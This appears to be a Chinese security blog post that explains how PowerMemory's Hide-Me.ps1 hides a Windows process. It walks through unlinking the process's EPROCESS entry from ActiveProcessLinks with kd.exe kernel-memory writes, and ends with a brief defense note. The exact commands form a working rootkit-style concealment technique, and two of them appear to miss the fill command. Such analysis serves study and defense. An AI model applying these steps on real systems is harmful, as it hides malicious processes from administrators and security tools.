导语:PowerMemory内脚本很多,其中比较有趣的是Hide-Me.ps1,借助kb.exe来实现对进程的隐藏。本文将对它进行测试,介绍进程隐藏原理,修改原脚本,分析利用和防御方法。
0x00 前言
Pierre-Alexandre Braeken在SecTor2016上做了一个很棒的演讲——HACK MICROSOFT BY USING MICROSOFT SIGNED BINARIES。
他对自己开源的工具PowerMemory做了介绍,将powershell同使用微软签名的程序相结合,可以绕过Device Guard和杀毒软件的拦截。
演讲视频地址:
https://sector.ca/sessions/hack-microsoft-by-using-microsoft-signed-binaries/
PowerMemory项目地址:
https://github.com/giMini/PowerMemory/
0x01 简介
PowerMemory内包含的脚本很多,其中一个比较有趣的脚本是Hide-Me.ps1,通过借助kb.exe来实现对进程的隐藏
本文将对该脚本进行测试,介绍进程隐藏的原理,修改原脚本,分析利用和防御方法。
0x02 相关概念
PCB(process control block):
进程控制块,是系统为了管理进程专门设置的一个数据结构
PCB的组织方式:
线性表方式:不论进程的状态如何,将所有的PCB连续地存放在内存的系统区。这种方式适用于系统中进程数目不多的情况 索引表方式:该方式是线性表方式的改进,系统按照进程的状态分别建立就绪索引表、阻塞索引表等 链接表方式:系统按照进程的状态将进程的PCB组成队列,从而形成就绪队列、阻塞队列、运行队列等
不同操作系统的PCB结构不同
Windows下的PCB是EPROCESS结构
进程链表是一个双向环链表
EPROCESS结构:
每个进程都有一个EPROCESS结构,里面保存着进程的各种信息和相关结构的指针
注:Windows各版本的EPROCESS结构存在差异
EPROCESS结构位于系统地址空间,所以访问这个结构需要有ring0的权限
注:Windows开启Local kernel debugging模式后,可进入ring0,使用内核态调试器
基本的内核态调试器有以下两种:
1. kd.exe(KD)
命令行模式
常用于调试内核态的应用程序和驱动程序,调试用户态的应用程序,或者监视操作系统自身的行为等
2. windbg.exe(WinDbg)
界面模式
可以为Windows内核、内核态驱动程序以及用户态应用程序提供完整的源代码级调试
通过kd.exe可以查看EPROCESS结构,命令行参数如下:
kd -kl -y "srv*c:symbols*http://msdl.microsoft.com/download/symbols" -c "dt nt!_eprocess"
回显如下:
lkd> kd: Reading initial command 'dt nt!_eprocess;Q' +0x000 Pcb : _KPROCESS +0x2d8 ProcessLock : _EX_PUSH_LOCK +0x2e0 RundownProtect : _EX_RUNDOWN_REF +0x2e8 UniqueProcessId : Ptr64 Void +0x2f0 ActiveProcessLinks : _LIST_ENTRY +0x300 Flags2 : Uint4B +0x300 JobNotReallyActive : Pos 0, 1 Bit +0x300 AccountingFolded : Pos 1, 1 Bit +0x300 NewProcessReported : Pos 2, 1 Bit +0x300 ExitProcessReported : Pos 3, 1 Bit +0x300 ReportCommitChanges : Pos 4, 1 Bit +0x300 LastReportMemory : Pos 5, 1 Bit +0x300 ForceWakeCharge : Pos 6, 1 Bit +0x300 CrossSessionCreate : Pos 7, 1 Bit +0x300 NeedsHandleRundown : Pos 8, 1 Bit +0x300 RefTraceEnabled : Pos 9, 1 Bit +0x300 DisableDynamicCode : Pos 10, 1 Bit +0x300 EmptyJobEvaluated : Pos 11, 1 Bit +0x300 DefaultPagePriority : Pos 12, 3 Bits +0x300 PrimaryTokenFrozen : Pos 15, 1 Bit +0x300 ProcessVerifierTarget : Pos 16, 1 Bit +0x300 StackRandomizationDisabled : Pos 17, 1 Bit +0x300 AffinityPermanent : Pos 18, 1 Bit +0x300 AffinityUpdateEnable : Pos 19, 1 Bit +0x300 PropagateNode : Pos 20, 1 Bit +0x300 ExplicitAffinity : Pos 21, 1 Bit +0x300 ProcessExecutionState : Pos 22, 2 Bits +0x300 DisallowStrippedImages : Pos 24, 1 Bit +0x300 HighEntropyASLREnabled : Pos 25, 1 Bit +0x300 ExtensionPointDisable : Pos 26, 1 Bit +0x300 ForceRelocateImages : Pos 27, 1 Bit +0x300 ProcessStateChangeRequest : Pos 28, 2 Bits +0x300 ProcessStateChangeInProgress : Pos 30, 1 Bit +0x300 DisallowWin32kSystemCalls : Pos 31, 1 Bit +0x304 Flags : Uint4B +0x304 CreateReported : Pos 0, 1 Bit +0x304 NoDebugInherit : Pos 1, 1 Bit +0x304 ProcessExiting : Pos 2, 1 Bit +0x304 ProcessDelete : Pos 3, 1 Bit +0x304 ControlFlowGuardEnabled : Pos 4, 1 Bit +0x304 VmDeleted : Pos 5, 1 Bit +0x304 OutswapEnabled : Pos 6, 1 Bit +0x304 Outswapped : Pos 7, 1 Bit +0x304 FailFastOnCommitFail : Pos 8, 1 Bit +0x304 Wow64VaSpace4Gb : Pos 9, 1 Bit +0x304 AddressSpaceInitialized : Pos 10, 2 Bits +0x304 SetTimerResolution : Pos 12, 1 Bit +0x304 BreakOnTermination : Pos 13, 1 Bit +0x304 DeprioritizeViews : Pos 14, 1 Bit +0x304 WriteWatch : Pos 15, 1 Bit +0x304 ProcessInSession : Pos 16, 1 Bit +0x304 OverrideAddressSpace : Pos 17, 1 Bit +0x304 HasAddressSpace : Pos 18, 1 Bit +0x304 LaunchPrefetched : Pos 19, 1 Bit +0x304 Background : Pos 20, 1 Bit +0x304 VmTopDown : Pos 21, 1 Bit +0x304 ImageNotifyDone : Pos 22, 1 Bit +0x304 PdeUpdateNeeded : Pos 23, 1 Bit +0x304 VdmAllowed : Pos 24, 1 Bit +0x304 ProcessRundown : Pos 25, 1 Bit +0x304 ProcessInserted : Pos 26, 1 Bit +0x304 DefaultIoPriority : Pos 27, 3 Bits +0x304 ProcessSelfDelete : Pos 30, 1 Bit +0x304 SetTimerResolutionLink : Pos 31, 1 Bit +0x308 CreateTime : _LARGE_INTEGER +0x310 ProcessQuotaUsage : [2] Uint8B +0x320 ProcessQuotaPeak : [2] Uint8B +0x330 PeakVirtualSize : Uint8B +0x338 VirtualSize : Uint8B +0x340 SessionProcessLinks : _LIST_ENTRY +0x350 ExceptionPortData : Ptr64 Void +0x350 ExceptionPortValue : Uint8B +0x350 ExceptionPortState : Pos 0, 3 Bits +0x358 Token : _EX_FAST_REF +0x360 WorkingSetPage : Uint8B +0x368 AddressCreationLock : _EX_PUSH_LOCK +0x370 PageTableCommitmentLock : _EX_PUSH_LOCK +0x378 RotateInProgress : Ptr64 _ETHREAD +0x380 ForkInProgress : Ptr64 _ETHREAD +0x388 CommitChargeJob : Ptr64 _EJOB +0x390 CloneRoot : _RTL_AVL_TREE +0x398 NumberOfPrivatePages : Uint8B +0x3a0 NumberOfLockedPages : Uint8B +0x3a8 Win32Process : Ptr64 Void +0x3b0 Job : Ptr64 _EJOB +0x3b8 SectionObject : Ptr64 Void +0x3c0 SectionBaseAddress : Ptr64 Void +0x3c8 Cookie : Uint4B +0x3d0 WorkingSetWatch : Ptr64 _PAGEFAULT_HISTORY +0x3d8 Win32WindowStation : Ptr64 Void +0x3e0 InheritedFromUniqueProcessId : Ptr64 Void +0x3e8 LdtInformation : Ptr64 Void +0x3f0 OwnerProcessId : Uint8B +0x3f8 Peb : Ptr64 _PEB +0x400 Session : Ptr64 Void +0x408 AweInfo : Ptr64 Void +0x410 QuotaBlock : Ptr64 _EPROCESS_QUOTA_BLOCK +0x418 ObjectTable : Ptr64 _HANDLE_TABLE +0x420 DebugPort : Ptr64 Void +0x428 WoW64Process : Ptr64 _EWOW64PROCESS +0x430 DeviceMap : Ptr64 Void +0x438 EtwDataSource : Ptr64 Void +0x440 PageDirectoryPte : Uint8B +0x448 ImageFilePointer : Ptr64 _FILE_OBJECT +0x450 ImageFileName : [15] UChar +0x45f PriorityClass : UChar +0x460 SecurityPort : Ptr64 Void +0x468 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO +0x470 JobLinks : _LIST_ENTRY +0x480 HighestUserAddress : Ptr64 Void +0x488 ThreadListHead : _LIST_ENTRY +0x498 ActiveThreads : Uint4B +0x49c ImagePathHash : Uint4B +0x4a0 DefaultHardErrorProcessing : Uint4B +0x4a4 LastThreadExitStatus : Int4B +0x4a8 PrefetchTrace : _EX_FAST_REF +0x4b0 LockedPagesList : Ptr64 Void +0x4b8 ReadOperationCount : _LARGE_INTEGER +0x4c0 WriteOperationCount : _LARGE_INTEGER +0x4c8 OtherOperationCount : _LARGE_INTEGER +0x4d0 ReadTransferCount : _LARGE_INTEGER +0x4d8 WriteTransferCount : _LARGE_INTEGER +0x4e0 OtherTransferCount : _LARGE_INTEGER +0x4e8 CommitChargeLimit : Uint8B +0x4f0 CommitCharge : Uint8B +0x4f8 CommitChargePeak : Uint8B +0x500 Vm : _MMSUPPORT +0x5f8 MmProcessLinks : _LIST_ENTRY +0x608 ModifiedPageCount : Uint4B +0x60c ExitStatus : Int4B +0x610 VadRoot : _RTL_AVL_TREE +0x618 VadHint : Ptr64 Void +0x620 VadCount : Uint8B +0x628 VadPhysicalPages : Uint8B +0x630 VadPhysicalPagesLimit : Uint8B +0x638 AlpcContext : _ALPC_PROCESS_CONTEXT +0x658 TimerResolutionLink : _LIST_ENTRY +0x668 TimerResolutionStackRecord : Ptr64 _PO_DIAG_STACK_RECORD +0x670 RequestedTimerResolution : Uint4B +0x674 SmallestTimerResolution : Uint4B +0x678 ExitTime : _LARGE_INTEGER +0x680 InvertedFunctionTable : Ptr64 _INVERTED_FUNCTION_TABLE +0x688 InvertedFunctionTableLock : _EX_PUSH_LOCK +0x690 ActiveThreadsHighWatermark : Uint4B +0x694 LargePrivateVadCount : Uint4B +0x698 ThreadListLock : _EX_PUSH_LOCK +0x6a0 WnfContext : Ptr64 Void +0x6a8 Spare0 : Uint8B +0x6b0 SignatureLevel : UChar +0x6b1 SectionSignatureLevel : UChar +0x6b2 Protection : _PS_PROTECTION +0x6b3 HangCount : UChar +0x6b4 Flags3 : Uint4B +0x6b4 Minimal : Pos 0, 1 Bit +0x6b4 ReplacingPageRoot : Pos 1, 1 Bit +0x6b4 DisableNonSystemFonts : Pos 2, 1 Bit +0x6b4 AuditNonSystemFontLoading : Pos 3, 1 Bit +0x6b4 Crashed : Pos 4, 1 Bit +0x6b4 JobVadsAreTracked : Pos 5, 1 Bit +0x6b4 VadTrackingDisabled : Pos 6, 1 Bit +0x6b4 AuxiliaryProcess : Pos 7, 1 Bit +0x6b4 SubsystemProcess : Pos 8, 1 Bit +0x6b4 IndirectCpuSets : Pos 9, 1 Bit +0x6b4 InPrivate : Pos 10, 1 Bit +0x6b4 ProhibitRemoteImageMap : Pos 11, 1 Bit +0x6b4 ProhibitLowILImageMap : Pos 12, 1 Bit +0x6b4 SignatureMitigationOptIn : Pos 13, 1 Bit +0x6b8 DeviceAsid : Int4B +0x6c0 SvmData : Ptr64 Void +0x6c8 SvmProcessLock : _EX_PUSH_LOCK +0x6d0 SvmLock : Uint8B +0x6d8 SvmProcessDeviceListHead : _LIST_ENTRY +0x6e8 LastFreezeInterruptTime : Uint8B +0x6f0 DiskCounters : Ptr64 _PROCESS_DISK_COUNTERS +0x6f8 PicoContext : Ptr64 Void +0x700 TrustletIdentity : Uint8B +0x708 KeepAliveCounter : Uint4B +0x70c NoWakeKeepAliveCounter : Uint4B +0x710 HighPriorityFaultsAllowed : Uint4B +0x718 EnergyValues : Ptr64 _PROCESS_ENERGY_VALUES +0x720 VmContext : Ptr64 Void +0x728 SequenceNumber : Uint8B +0x730 CreateInterruptTime : Uint8B +0x738 CreateUnbiasedInterruptTime : Uint8B +0x740 TotalUnbiasedFrozenTime : Uint8B +0x748 LastAppStateUpdateTime : Uint8B +0x750 LastAppStateUptime : Pos 0, 61 Bits +0x750 LastAppState : Pos 61, 3 Bits +0x758 SharedCommitCharge : Uint8B +0x760 SharedCommitLock : _EX_PUSH_LOCK +0x768 SharedCommitLinks : _LIST_ENTRY +0x778 AllowedCpuSets : Uint8B +0x780 DefaultCpuSets : Uint8B +0x778 AllowedCpuSetsIndirect : Ptr64 Uint8B +0x780 DefaultCpuSetsIndirect : Ptr64 Uint8B
其中,+0x2f0 ActiveProcessLinks : _LIST_ENTRY表示进程活动链表
进程活动链表:
是一个PLIST_ENTRY结构的双向链表,把每个EPROCESS链接起来
当一个新进程建立的时候,父进程负责完成EPROCESS块,然后把ActiveProcessLinks链接到一个全局内核变量PsActiveProcessHead链表中
当进程结束的时候,该进程的EPROCESS结构从活动进程链上摘除
遍历整个链表,就能实现对进程的枚举
双链表的删除操作:
如图
void DDeleteNode(DListNode *p) {//在带头结点的双链表中,删除结点*p,设*p为非终端结点 p->prior->next=p->next;//① (使p的前一个结点的后驱直接指向 原来的p的后驱) p->next->prior=p->prior;//② (使p的后一个结点的前驱 直接为原来p的前一个结点) free(p);//③ (释放p的内存) }
图和说明引用自http://blog.163.com/haibianfeng_yr/blog/static/34572620201453061036702/
隐藏进程:
相当于对双向链表ActiveProcessLinks断链
对应双链表的删除需要做如下操作:
1. p->prior->next=p->next Flink->Blink=Blink 2. p->next->prior=p->prior Blink->Flink = Flink 3. free(p) Blink =dwSelfEPROCESS
Flink = dwSelfEPROCESS
接下来实例介绍如何通过kd.exe隐藏进程,也就是双链表的断链
0x03 通过kd.exe隐藏进程
环境搭建:
开启Local kernel debugging模式
注:自从Windows Vista开始,Local kernel debugging默认被禁用
开启方法:
管理员权限执行:bcdedit -debug on,重启
下载安装Debugging Tools for Windows,找到kd.exe
测试进程:notepad.exe
测试系统: Win10 x64
1、获取notepad.exe的内存起始地址
kd命令:
!process 0 0 $processName
完整命令:
kd -kl -y "srv*c:symbols*http://msdl.microsoft.com/download/symbols" -c "!process 0 0 notepad.exe;Q"
如图
notepad.exe的内存起始地址$processAddress为ffffe00195236080
2、获取进程notepad.exe的Flink和Blink
kd命令:
dt nt!_eprocess ActiveProcessLinks ImageFileName $processAddress
完整命令:
kd -kl -y "srv*c:symbols*http://msdl.microsoft.com/download/symbols" -c "dt nt!_eprocess ActiveProcessLinks ImageFileName ffffe00195236080;Q"
如图
注:
FLINK指针指向下一个元素,相当于双链表中的p->next BLINK指针指向前一个元素,相当于双链表中的p->prior _LIST_ENTRY结构如下: _LIST_ENTRY[Flink-Blink] 前一参数代表Flink,后一参数代表Blink
由上图可知:
$Flink:0xffffe001`93e1a370 $Blink:0xffffe001`9604f6f0
3、获取进程notepad.exe在双链表的地址$thisProcessLinks
kd命令:
dt nt!_eprocess ActiveProcessLinks.Blink ImageFileName $processAddress
完整命令:
kd -kl -y "srv*c:symbols*http://msdl.microsoft.com/download/symbols" -c "dt nt!_eprocess ActiveProcessLinks.Blink ImageFileName ffffe00195236080;Q"
如图
可知:
$thisProcessLinks:0xffffe001`95236370
注:dt nt!_eprocess ActiveProcessLinks.Blink ImageFileName相当于进程notepad.exe的前一个进程
故
+0x008 Blink : 0xffffe001`9604f6f0 _LIST_ENTRY [0xffffe001`95236370-Blink]
中的0xffffe001`95236370相当于进程notepad.exe在双链表的地址$thisProcessLinks
补充:
+0x000 Flink: 0xffffe001`93e1a370 _LIST_ENTRY[Flink-Blink]中的Blink也能代表双链表的地址$thisProcessLinks
简单的理解:
当前进程的Blink的Flink等价于当前进程的Flink的Blink,也就是当前进程的地址$thisProcessLinks
4、将前一进程指向下一个元素的指针FLINK替换为当前进程的FLINK指针(Flink->Blink=Blink)
即双链表删除操作的第1步:
p->prior->next=p->next
kd命令:
f $Blink+0x000 L4 ($Flink的第0字节) ($Flink的第1字节) ($Flink的第2字节) ($Flink的第3字节)
注:
+0x000代表Flink +0x008代表Blink $Blink+0x000代表p->prior->next(0x000为0,可省略) L4参数指定内存区间的长度为4个DWORD
完整命令:
kd -kl -y "srv*c:symbols*http://msdl.microsoft.com/download/symbols" -c "f 0xffffe001`9604f6f0 L4 0x70 0xa3 0xe1 0x93;Q"
如图
操作成功,实现双链表删除中的p->prior->next=p->next
5、将下一进程指向前一个元素的指针Blink替换为当前进程的BLINK指针
即双链表删除操作的第2步:
p->next->prior=p->prior
kd命令:
f $Flink+0x008 L4 ($Blink的第0字节) ($Blink的第1字节) ($Blink的第2字节) ($Blink的第3字节)
注:
+0x008代表Blink $Flink++0x008代表p->next->prior
完整命令:
kd -kl -y "srv*c:symbols*http://msdl.microsoft.com/download/symbols" -c "f 0xffffe001`93e1a370 L4 0xf0 0xf6 0x04 0x96;Q"
如图
操作成功,实现双链表删除中的p->next->prior=p->prior
6、进程自身的新Flink指向进程自身的双链表地址$thisProcessLinks
kd命令:
f $thisProcessLinks+0x000 L4 ($thisProcessLinks的第0字节) ($thisProcessLinks的第1字节) ($thisProcessLinks的第2字节) (thisProcessLinks的第3字节)
注:
+0x000代表Flink
完整命令:
kd -kl -y "srv*c:symbols*http://msdl.microsoft.com/download/symbols" -c "0xffffe001`95236370 L4 0x70 0x63 0x23 0x95;Q"
如图
7、进程自身的新Blink指向进程自身的双链表地址$thisProcessLinks
kd命令:
f $thisProcessLinks+0x008 L4 ($thisProcessLinks的第0字节) ($thisProcessLinks的第1字节) ($thisProcessLinks的第2字节) (thisProcessLinks的第3字节)
注:
+0x008代表Blink
完整命令:
kd -kl -y "srv*c:symbols*http://msdl.microsoft.com/download/symbols" -c "0xffffe001`95236370+0x008 L4 0x70 0x63 0x23 0x95;Q"
如图
注:7、8操作必须,对应双链表删除操作中的free(p),否则会蓝屏
8、测试
在tasklist和Process Explorer中,notepad.exe进程均被隐藏
0x04 powershell自动实现
以上操作可通过powershell脚本自动实现,这就是Hide-Me.ps1实现的功能
Hide-Me.ps1有一处需要注意的地方:
https://github.com/giMini/PowerMemory/blob/master/PowerProcess/Hide-Me.ps1#L128
f $BLINK L4 0x$($FLINK.Substring(17,2)) 0x$($FLINK.Substring(15,2)) 0x$($FLINK.Substring(13,2)) 0x$($FLINK.Substring(11,2))"
此处$BLINK实际为$BLINK+0x000,表示p->prior->next(0x000为0,已省略)
适用环境:
Win7、8、10 64位操作系统
利用前提:
开启Local kernel debugging模式 管理员权限执行:bcdedit -debug on 重启后测试
由于PowerMemory做了脚本整合,所以Hide-Me.ps1还需要其他支持文件
我对其进行了少量修改,只提取隐藏进程的关键代码,最终整合到一个ps脚本中,地址如下:
https://github.com/3gstudent/Hide-Process-by-kd.exe
0x05 防御思路
该方法利用前提:
已获得系统管理员权限并开启Local kernel debugging模式,系统重启
也就是说攻击者已进入ring 0层才能利用这个方法
对于普通用户,可以永久关闭Local kernel debugging模式:
bcdedit -debug off
0x06 补充
该脚本尚不支持32位系统
Windbg也能实现相同操作